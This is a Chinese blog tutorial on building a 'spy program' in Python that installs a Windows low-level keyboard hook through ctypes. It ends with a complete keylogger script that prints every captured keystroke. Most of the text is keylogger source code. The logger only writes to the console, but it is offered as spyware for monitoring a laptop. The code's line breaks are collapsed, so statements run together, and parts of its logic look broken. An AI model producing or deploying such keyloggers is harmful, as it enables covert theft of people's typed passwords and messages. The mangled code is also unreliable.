如何用 Python 监听软件?

作者 | 寂夜云
来源 | https://www.cnblogs.com/lonenysky/p/12341074.html
我们常听说：如果要操作某个软件或者监听某个软件的话，可以使用钩子（Hook）钩住软件，那这是如何操作的呢？用Python又如何实现呢？本教程我们将通过注册Hook打造一款间谍程序，来监听win系统的笔记本，先给大家演示下效果吧！

一、Hook 技术程序的基本原理在于通过注册Hook，记录系统事件。那么什么是Hook呢？Hook 技术又叫做钩子函数，系统在调用函数之前，钩子程序就先捕获该消息，钩子函数先得到控制权，这时钩子函数既可以加工处理（改变）该函数的执行行为，还可以强制结束消息的传递

注册Hook时我们需要使用到两个DLL库：user32.dll和kernel32.dll。这两个DLL有什么用处呢：

• user32.dll：是Windows用户界面相关应用程序接口，用于包括Windows处理，基本用户界面等特性，如创建窗口和发送消息
• kernel32.dll：控制着系统的内存管理、数据的输入输出操作和中断处理

二、实现

1. idHook：钩子的类型，可以监听消息、键盘、鼠标等等，这里我们来监视低级键盘输入事件作为案例演示！
2. lpfn：钩子函数，这里就表示你监听到事件后要怎么处理，核心作用！
3. hmod：DLL句柄(类似编号)，我们可以使用kernel32中的GetModuleHandleW来获取句柄
4. dwThreadId：我们填入0代表与同一桌面上所有的线程关联
   

ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型，并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。

from ctypes import CDLL
user32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")
user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

def hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        # 此处插入我们的代码        pass    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

3.删除Hook

def uninstallHookProc(hooked):    if hooked is None:        return    user32.UnhookWindowsHookEx(hooked)    hooked = None

def hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        if wParam == 256:            if 162 == lParam.contents.value:                print("Ctrl pressed, call Hook uninstall()")                uninstallHookProc(hooked)                sys.exit(-1)            capsLock = user32.GetKeyState(20)            if lParam.contents.value == 13:                print("\n")            elif capsLock:                print(chr(lParam.contents.value), end="")            else:                print(chr(lParam.contents.value + 32), end="")    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

通过ctypes文档我们可以得知Windows下使用WINFUNCTYPE来声明函数原型！

# 创建声明，c_int表示函数入参类型HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))# 声明函数原型handleProc = HOOKPROC(hookProc)

user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

import sysfrom ctypes import *from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAMuser32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")class KBDLLHOOKSTRUCT(Structure):    _fields_ = [        ('vkCode', DWORD),        ('scanCode', DWORD),        ('flags', DWORD),        ('time', DWORD),        ('dwExtraInfo', DWORD)]def uninstallHookProc(hooked):    if hooked is None:        return    user32.UnhookWindowsHookEx(hooked)    hooked = Nonedef hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        if wParam == 256:            if 162 == lParam.contents.value:                print("Ctrl pressed, call Hook uninstall()")                uninstallHookProc(hooked)                sys.exit(-1)            capsLock = user32.GetKeyState(20)            if lParam.contents.value == 13:                print("\n")            elif capsLock:                print(chr(lParam.contents.value), end="")            else:                print(chr(lParam.contents.value + 32), end="")    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)def startKeyLog():    msg = MSG()    user32.GetMessageA(byref(msg), 0, 0, 0)def installHookProc(hooked, handleProc):    hooked = user32.SetWindowsHookExA(        13,        handleProc,        kernel32.GetModuleHandleW(),        0    )    if not hooked:        return False    return TrueHOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))handleProc = HOOKPROC(hookProc)hooked = Noneif installHookProc(hooked, handleProc):    print("Hook installed")    try:        msg = MSG()        user32.GetMessageA(byref(msg), 0, 0, 0)    except KeyboardInterrupt as kerror:        uninstallHookProc(hooked)        print("Hook uninstall...")else:    print("Hook installed error")